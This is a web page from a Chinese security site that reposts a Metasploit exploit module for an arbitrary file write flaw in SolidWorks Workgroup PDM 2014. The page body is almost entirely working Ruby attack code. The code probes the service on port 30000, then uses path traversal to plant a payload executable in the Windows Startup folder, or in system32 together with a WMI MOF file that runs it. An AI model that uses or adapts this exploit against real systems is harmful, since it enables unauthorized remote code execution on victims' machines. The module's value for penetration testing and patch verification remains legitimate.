首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SolidWorks Workgroup PDM 2014 Arbitrary File Write Exploit
来源:metasploit.com 作者:Coles 发布时间:2014-03-07  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',
      'Description'    => %q{
        This module exploits a remote arbitrary file write vulnerability in
        SolidWorks Workgroup PDM 2014 SP2 and prior.
  
        For targets running Windows Vista or newer the payload is written to the
        startup folder for all users and executed upon next user logon.
  
        For targets before Windows Vista code execution can be achieved by first
        uploading the payload as an exe file, and then upload another mof file,
        which schedules WMI to execute the uploaded payload.
  
        This module has been tested successfully on SolidWorks Workgroup PDM
        2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>'# Metasploit
        ],
      'References'     =>
        [
          ['EDB',   '31831'],
          ['OSVDB', '103671']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on:
          # - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)
          # - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)
          ['Automatic', { 'auto' => true } ], # both
          ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}],
          ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Feb 22 2014',
      'DefaultTarget'  => 0))
  
    register_options([
      OptInt.new('DEPTH', [true, 'Traversal depth', 10]),
      Opt::RPORT(30000)
    ], self.class)
  end
  
  def peer
    "#{rhost}:#{rport}"
  end
  
  #
  # Check
  #
  def check
    # op code
    req  = "\xD0\x07\x00\x00"
    # filename length
    req << "\x00\x00\x00\x00"
    # data length
    req << "\x00\x00\x00\x00"
    connect
    sock.put req
    res = sock.get_once
    disconnect
    if !res
      vprint_error "#{peer} - Connection failed."
      Exploit::CheckCode::Unknown
    elsif res == "\x00\x00\x00\x00"
      vprint_status "#{peer} - Received reply (#{res.length} bytes)"
      Exploit::CheckCode::Detected
    else
      vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
      Exploit::CheckCode::Safe
    end
  end
  
  #
  # Send a file
  #
  def upload(fname, data)
    # every character in the filename must be followed by 0x00
    fname = fname.scan(/./).join("\x00") + "\x00"
    # op code
    req  = "\xD0\x07\x00\x00"
    # filename length
    req << "#{[fname.length].pack('l')}"
    # file name
    req << "#{fname}"
    # data length
    req << "#{[data.length].pack('l')}"
    # data
    req << "#{data}"
    connect
    sock.put req
    res = sock.get_once
    disconnect
    if !res
      fail_with(Failure::Unknown, "#{peer} - Connection failed.")
    elsif res == "\x00\x00\x00\x00"
      print_status "#{peer} - Received reply (#{res.length} bytes)"
    else
      print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
    end
  end
  
  #
  # Exploit
  #
  def exploit
    depth    = '..\\' * datastore['DEPTH']
    exe      = generate_payload_exe
    exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"
    if target.name =~ /Automatic/ or target.name =~ /Vista/
      print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)")
      upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}", exe)
    end
    if target.name =~ /Automatic/ or target.name =~ /XP/
      print_status("#{peer} - Sending EXE (#{exe.length} bytes)")
      upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe)
      mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"
      mof      = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
      print_status("#{peer} - Sending MOF (#{mof.length} bytes)")
      upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
      register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
    end
    register_file_for_cleanup("#{::File.basename(exe_name)}")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows Escalate UAC Protectio
·HP Data Protector Backup Clien
·ALLPlayer M3U Buffer Overflow
·GetGo Download Manager 4.9.0.1
·Calavera UpLoader 3.5 - SEH Bu
·KMPlayer 3.8.0.117 Buffer Over
·MantisBT Admin SQL Injection A
·Safari User-Assisted Download
·ALLPlayer 5.8.1 - (.m3u file)
·QNX 6.4.x/6.5.x ifwatchd - Loc
·VCDGear 3.50 (.cue) - Stack Bu
·QNX 6.5.0 x86 io-graphics - Lo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved